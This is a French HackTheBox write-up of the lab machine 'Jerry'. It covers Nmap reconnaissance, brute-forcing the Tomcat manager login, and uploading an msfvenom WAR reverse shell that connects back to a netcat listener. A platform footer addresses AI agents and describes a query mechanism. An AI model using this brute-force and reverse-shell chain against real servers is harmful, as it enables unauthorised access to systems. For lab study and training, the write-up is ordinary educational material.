> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Compte rendu HackTheBox de Jerry

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Compétences :**

* Fuite d'informations
* Abus de Tomcat (Intrusion et élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/50f4ae292458ccd10f0fc92786507d7f727e520a" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/482bfe68d02f2d8e42ebaccda29356e7a5b6039b" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/376fa6fc8fe39ba1a91c11af27013eaec5c2864e" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/a06e46f9cc24b2200fbb71ffca7bc3c2aa76d413" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/b61b9401709063053ebf6f6febbd95f5a157c00a" alt=""><figcaption></figcaption></figure>

## Port 8080 - Tomcat

Le port 8080 héberge un serveur **Apache Tomcat**. Une analyse avec `whatweb` révèle la **7.0.88** version, connue pour être vulnérable.

<div data-full-width="true"><figure><img src="/files/57f5f9d92eeb2ce56ed77934d5de2831e188a0cd" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/6e7cbac47c2a77c76dc1b522586ec37ae9b1164c" alt=""><figcaption></figcaption></figure>

### Fuite d'informations

**Connexion au panneau d'administration**

<figure><img src="/files/6e63c8d45a1f517edfe0234f1bbe6f41c9ab726f" alt=""><figcaption></figcaption></figure>

Nous essayons d'accéder au `/manager/html` panneau avec des identifiants par défaut (par ex. `admin:admin`), mais cela échoue.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Attaque par force brute sur les identifiants/*/*

Nous utilisons la `tomcat-betterdefaultpasslist.txt` liste de dictionnaires pour lancer une attaque par force brute sur les identifiants :

Pour automatiser cette tâche, nous utilisons un script Python :

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Résultat :** Les identifiants valides trouvés sont :/ `tomcat:s3cret`

<figure><img src="/files/9f91a26ac3128e8487005ced568c960f9892d226" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70b5a560eccdf50eff5cb0472b285b1ba4b9ec09" alt=""><figcaption></figcaption></figure>

### Vulnérabilité Tomcat :

**1. Génération d'un fichier WAR :**/ Nous utilisons `msfvenom` pour créer un fichier WAR contenant un shell inversé :

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/36f4cf2abaa1fe45f499fc0df1874b72ae878f4e" alt=""><figcaption></figcaption></figure>

**2. Déploiement via le gestionnaire Tomcat :**/ Nous téléversons le fichier WAR sur le `/manager/html` panneau.

<figure><img src="/files/79ae4dfbc936bab808b491d49cc01b5c50513a6a" alt="" width="563"><figcaption></figcaption></figure>

**3. Écouter le shell inversé :**/ Nous mettons en place un écouteur pour capturer la connexion inversée :

```bash
rlwrap nc -nlvp 443
```

En exécutant le fichier déployé (`/reverse`), nous obtenons un shell interactif sur la machine cible.

<figure><img src="/files/b7c9d4c8ef620fafdb9656e4d5ecdd93749438ba" alt=""><figcaption></figcaption></figure>

### Drapeaux user.txt + root.txt :)

<figure><img src="/files/6974cea4cea8a38e7d8171fbf2433de5ab7e1e07" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/79626b724102b717070d38d3594fc5f6cafd6736" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
